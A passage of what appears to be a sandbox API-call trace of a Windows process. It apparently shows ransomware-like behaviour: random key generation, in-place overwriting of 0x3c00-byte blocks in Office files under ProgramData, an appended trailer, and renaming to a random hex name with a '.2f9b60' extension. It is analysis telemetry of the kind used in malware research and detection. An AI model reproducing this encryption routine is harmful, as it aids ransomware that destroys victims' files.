Seed=0x2142fa10) returned 0x3a5d0a5f [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x4369c3d5 [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x3ee6093e [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x37b51d4a [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x3a2da6ef [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x408299e3 [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x653ad05e [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x3ea97fe0 [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x2c301f4 [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x24fe4adf [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x2877de1a [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x636126d5 [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x2f778024 [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x112e1f7b [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x5a05f7ad [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x32b44bc [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x2b94958d [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x6c7f0283 [0130.853] RtlRandomEx (in: Seed=0x2142fa10 | out: Seed=0x2142fa10) returned 0x1543f088 [0130.862] SetFilePointerEx (in: hFile=0x1aa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.862] ReadFile (in: hFile=0x1aa8, lpBuffer=0x41c66910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2142fa80, lpOverlapped=0x0 | out: lpBuffer=0x41c66910*, lpNumberOfBytesRead=0x2142fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0130.869] SetFilePointerEx (in: hFile=0x1aa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0130.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867940 [0130.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266480 [0130.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266480) returned 1 [0130.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c5f0f0 [0130.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266480 [0130.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266540 [0130.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266540) returned 1 [0130.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 [0130.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0130.870] WriteFile (hFile=0x1aa8, lpBuffer=0x41c5f0f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2142fa80, lpOverlapped=0x0) [0180.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c5f0f0) returned 1 [0180.069] SetFilePointerEx (in: hFile=0x1aa8, liDistanceToMove=0x8e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.069] ReadFile (in: hFile=0x1aa8, lpBuffer=0x41c66910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2142fa80, lpOverlapped=0x0 | out: lpBuffer=0x41c66910*, lpNumberOfBytesRead=0x2142fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0182.889] SetFilePointerEx (in: hFile=0x1aa8, liDistanceToMove=0x8e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0182.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0182.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30590 [0182.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30590) returned 1 [0182.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42579930 [0182.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30590 [0182.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30680 [0182.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30680) returned 1 [0182.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0182.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0182.893] WriteFile (in: hFile=0x1aa8, lpBuffer=0x42579930*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2142fa80, lpOverlapped=0x0 | out: lpBuffer=0x42579930*, lpNumberOfBytesWritten=0x2142fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0198.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42579930) returned 1 [0198.099] SetFilePointerEx (in: hFile=0x1aa8, liDistanceToMove=0x111f60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.099] ReadFile (in: hFile=0x1aa8, lpBuffer=0x41c66910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2142fa80, lpOverlapped=0x0 | out: lpBuffer=0x41c66910*, lpNumberOfBytesRead=0x2142fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0198.942] SetFilePointerEx (in: hFile=0x1aa8, liDistanceToMove=0x111f60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bb30 [0198.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bb30) returned 1 [0198.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20240d80 [0198.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bb30 [0198.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bb60 [0198.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bb60) returned 1 [0198.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.945] WriteFile (in: hFile=0x1aa8, lpBuffer=0x20240d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2142fa80, lpOverlapped=0x0 | out: lpBuffer=0x20240d80*, lpNumberOfBytesWritten=0x2142fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0214.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20240d80) returned 1 [0214.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f050 [0214.010] SetFilePointerEx (in: hFile=0x1aa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.010] WriteFile (in: hFile=0x1aa8, lpBuffer=0x431f6560*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x2142fb30, lpOverlapped=0x0 | out: lpBuffer=0x431f6560*, lpNumberOfBytesWritten=0x2142fb30*=0x158, lpOverlapped=0x0) returned 1 [0217.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0217.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f10 [0217.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32db0 [0217.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32db0) returned 1 [0217.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42d32db0 [0217.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32ed0 [0217.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f660 [0217.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f660) returned 1 [0217.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f10) returned 1 [0217.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0217.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b8587f0 [0217.541] sprintf (in: _Dest=0x1b8587f0, _Format="%c%c" | out: _Dest="af") returned 2 [0217.541] sprintf (in: _Dest=0x1b8587f2, _Format="%c%c" | out: _Dest="da") returned 2 [0217.541] sprintf (in: _Dest=0x1b8587f4, _Format="%c%c" | out: _Dest="35") returned 2 [0217.541] sprintf (in: _Dest=0x1b8587f6, _Format="%c%c" | out: _Dest="85") returned 2 [0217.541] sprintf (in: _Dest=0x1b8587f8, _Format="%c%c" | out: _Dest="a2") returned 2 [0217.541] sprintf (in: _Dest=0x1b8587fa, _Format="%c%c" | out: _Dest="28") returned 2 [0217.541] sprintf (in: _Dest=0x1b8587fc, _Format="%c%c" | out: _Dest="1a") returned 2 [0217.541] sprintf (in: _Dest=0x1b8587fe, _Format="%c%c" | out: _Dest="a5") returned 2 [0217.541] sprintf (in: _Dest=0x1b858800, _Format="%c%c" | out: _Dest="b2") returned 2 [0217.541] sprintf (in: _Dest=0x1b858802, _Format="%c%c" | out: _Dest="6c") returned 2 [0217.541] sprintf (in: _Dest=0x1b858804, _Format="%c%c" | out: _Dest="18") returned 2 [0217.541] sprintf (in: _Dest=0x1b858806, _Format="%c%c" | out: _Dest="23") returned 2 [0217.541] sprintf (in: _Dest=0x1b858808, _Format="%c%c" | out: _Dest="37") returned 2 [0217.541] sprintf (in: _Dest=0x1b85880a, _Format="%c%c" | out: _Dest="41") returned 2 [0217.541] sprintf (in: _Dest=0x1b85880c, _Format="%c%c" | out: _Dest="60") returned 2 [0217.541] sprintf (in: _Dest=0x1b85880e, _Format="%c%c" | out: _Dest="a7") returned 2 [0217.541] sprintf (in: _Dest=0x1b858810, _Format="%c%c" | out: _Dest="37") returned 2 [0217.542] sprintf (in: _Dest=0x1b858812, _Format="%c%c" | out: _Dest="7b") returned 2 [0217.542] sprintf (in: _Dest=0x1b858814, _Format="%c%c" | out: _Dest="20") returned 2 [0217.542] sprintf (in: _Dest=0x1b858816, _Format="%c%c" | out: _Dest="5f") returned 2 [0217.542] sprintf (in: _Dest=0x1b858818, _Format="%c%c" | out: _Dest="63") returned 2 [0217.542] sprintf (in: _Dest=0x1b85881a, _Format="%c%c" | out: _Dest="ac") returned 2 [0217.542] sprintf (in: _Dest=0x1b85881c, _Format="%c%c" | out: _Dest="e3") returned 2 [0217.542] sprintf (in: _Dest=0x1b85881e, _Format="%c%c" | out: _Dest="39") returned 2 [0217.542] sprintf (in: _Dest=0x1b858820, _Format="%c%c" | out: _Dest="db") returned 2 [0217.542] sprintf (in: _Dest=0x1b858822, _Format="%c%c" | out: _Dest="60") returned 2 [0217.542] sprintf (in: _Dest=0x1b858824, _Format="%c%c" | out: _Dest="3a") returned 2 [0217.542] sprintf (in: _Dest=0x1b858826, _Format="%c%c" | out: _Dest="4e") returned 2 [0217.542] sprintf (in: _Dest=0x1b858828, _Format="%c%c" | out: _Dest="68") returned 2 [0217.542] sprintf (in: _Dest=0x1b85882a, _Format="%c%c" | out: _Dest="f3") returned 2 [0217.542] sprintf (in: _Dest=0x1b85882c, _Format="%c%c" | out: _Dest="c3") returned 2 [0217.542] sprintf (in: _Dest=0x1b85882e, _Format="%c%c" | out: _Dest="a7") returned 2 [0217.542] sprintf (in: _Dest=0x1b858830, _Format="%c%c" | out: _Dest="f7") returned 2 [0217.542] sprintf (in: _Dest=0x1b858832, _Format="%c%c" | out: _Dest="b8") returned 2 [0217.542] sprintf (in: _Dest=0x1b858834, _Format="%c%c" | out: _Dest="3b") returned 2 [0217.543] sprintf (in: _Dest=0x1b858836, _Format="%c%c" | out: _Dest="01") returned 2 [0217.543] sprintf (in: _Dest=0x1b858838, _Format="%c%c" | out: _Dest="a7") returned 2 [0217.543] sprintf (in: _Dest=0x1b85883a, _Format="%c%c" | out: _Dest="14") returned 2 [0217.543] RtlInitAnsiString (in: DestinationString=0x2142fba8, SourceString="afda3585a2281aa5b26c1823374160a7377b205f63ace339db603a4e68f3c3a7f7b83b01a714" | out: DestinationString="afda3585a2281aa5b26c1823374160a7377b205f63ace339db603a4e68f3c3a7f7b83b01a714") [0217.543] RtlAnsiStringToUnicodeString (in: DestinationString=0x2142fb78, SourceString="afda3585a2281aa5b26c1823374160a7377b205f63ace339db603a4e68f3c3a7f7b83b01a714", AllocateDestinationString=1 | out: DestinationString="afda3585a2281aa5b26c1823374160a7377b205f63ace339db603a4e68f3c3a7f7b83b01a714") returned 0x0 [0217.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce18130 [0217.543] wcscat (in: _Dest=0x431c7260, _Source="afda3585a2281aa5b26" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\afda3585a2281aa5b26") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\afda3585a2281aa5b26" [0217.544] wcscat (in: _Dest=0x431c7260, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\afda3585a2281aa5b26.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\afda3585a2281aa5b26.2f9b60" [0217.544] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\afda3585a2281aa5b26.2f9b60", NtPathName=0x2142fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\afda3585a2281aa5b26.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4312b920 Thread: id = 1704 os_tid = 0x2ac [0130.867] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll")) returned 0x2020 [0130.872] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.873] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1aac [0130.874] GetFileSizeEx (in: hFile=0x1aac, lpFileSize=0x20f1f9c0 | out: lpFileSize=0x20f1f9c0*=152416) returned 1 [0130.874] SetFilePointerEx (in: hFile=0x1aac, liDistanceToMove=0x2535c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.874] ReadFile (in: hFile=0x1aac, lpBuffer=0x20f1f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20f1f988, lpOverlapped=0x0 | out: lpBuffer=0x20f1f940*, lpNumberOfBytesRead=0x20f1f988*=0x4, lpOverlapped=0x0) returned 1 [0130.876] SetFilePointerEx (in: hFile=0x1aac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266540 [0130.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202665d0 [0130.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266600 [0130.877] NtQuerySystemTime (in: CurrentTime=0x20f1f880 | out: CurrentTime=0x20f1f880*=132462177361174000) returned 0x0 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x42f655e0 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x5002d4d1 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x546f2b89 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x5d87987 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x3c536f23 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x62d7f362 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x2e9f234b [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x66a3ab27 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x48b07645 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x52b23ffa [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x3ef56dec [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x1275b3e4 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x1dcfd62b [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x5c1e3e71 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x3a60417a [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x385f15e4 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x7fc7aac2 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x730e70cb [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x1cc8e9a0 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x456cfc98 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x102ef016 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x1e8de401 [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x4ac1c91b [0130.877] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x43fc0867 [0130.878] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x6287aee1 [0130.878] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x3bd2e4e3 [0130.878] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x1f2c0a58 [0130.878] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x837ce1a [0130.878] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x7f3191c5 [0130.878] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x35dadff [0130.878] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x2b5da73e [0130.878] RtlRandomEx (in: Seed=0x20f1f870 | out: Seed=0x20f1f870) returned 0x367acc07 [0130.889] SetFilePointerEx (in: hFile=0x1aac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.889] ReadFile (in: hFile=0x1aac, lpBuffer=0x2015b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20f1f8e0, lpOverlapped=0x0 | out: lpBuffer=0x2015b4e0*, lpNumberOfBytesRead=0x20f1f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.897] SetFilePointerEx (in: hFile=0x1aac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0130.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867940 [0130.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266540 [0130.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266540) returned 1 [0130.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2017d170 [0130.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266540 [0130.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266600 [0130.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266600) returned 1 [0130.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 [0130.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0130.898] WriteFile (hFile=0x1aac, lpBuffer=0x2017d170, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20f1f8e0, lpOverlapped=0x0) [0180.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2017d170) returned 1 [0180.068] SetFilePointerEx (in: hFile=0x1aac, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.068] ReadFile (in: hFile=0x1aac, lpBuffer=0x2015b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20f1f8e0, lpOverlapped=0x0 | out: lpBuffer=0x2015b4e0*, lpNumberOfBytesRead=0x20f1f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.139] SetFilePointerEx (in: hFile=0x1aac, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f270 [0182.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f270) returned 1 [0182.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20231d40 [0182.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f270 [0182.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f2a0 [0182.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f2a0) returned 1 [0182.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.144] WriteFile (in: hFile=0x1aac, lpBuffer=0x20231d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20f1f8e0, lpOverlapped=0x0 | out: lpBuffer=0x20231d40*, lpNumberOfBytesWritten=0x20f1f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0197.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20231d40) returned 1 [0197.882] SetFilePointerEx (in: hFile=0x1aac, liDistanceToMove=0x21760, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.882] ReadFile (in: hFile=0x1aac, lpBuffer=0x2015b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20f1f8e0, lpOverlapped=0x0 | out: lpBuffer=0x2015b4e0*, lpNumberOfBytesRead=0x20f1f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.841] SetFilePointerEx (in: hFile=0x1aac, liDistanceToMove=0x21760, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b740 [0198.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b740) returned 1 [0198.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43015d20 [0198.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b740 [0198.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b770 [0198.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b770) returned 1 [0198.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.845] WriteFile (in: hFile=0x1aac, lpBuffer=0x43015d20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20f1f8e0, lpOverlapped=0x0 | out: lpBuffer=0x43015d20*, lpNumberOfBytesWritten=0x20f1f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43015d20) returned 1 [0213.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fd00 [0213.743] SetFilePointerEx (in: hFile=0x1aac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.743] WriteFile (in: hFile=0x1aac, lpBuffer=0x1ceb8d30*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x20f1f990, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8d30*, lpNumberOfBytesWritten=0x20f1f990*=0x15a, lpOverlapped=0x0) returned 1 [0216.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058a60 [0216.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0216.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f570 [0216.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f570) returned 1 [0216.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42d2f570 [0216.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f540 [0216.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f480 [0216.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f480) returned 1 [0216.240] RtlFreeHeap 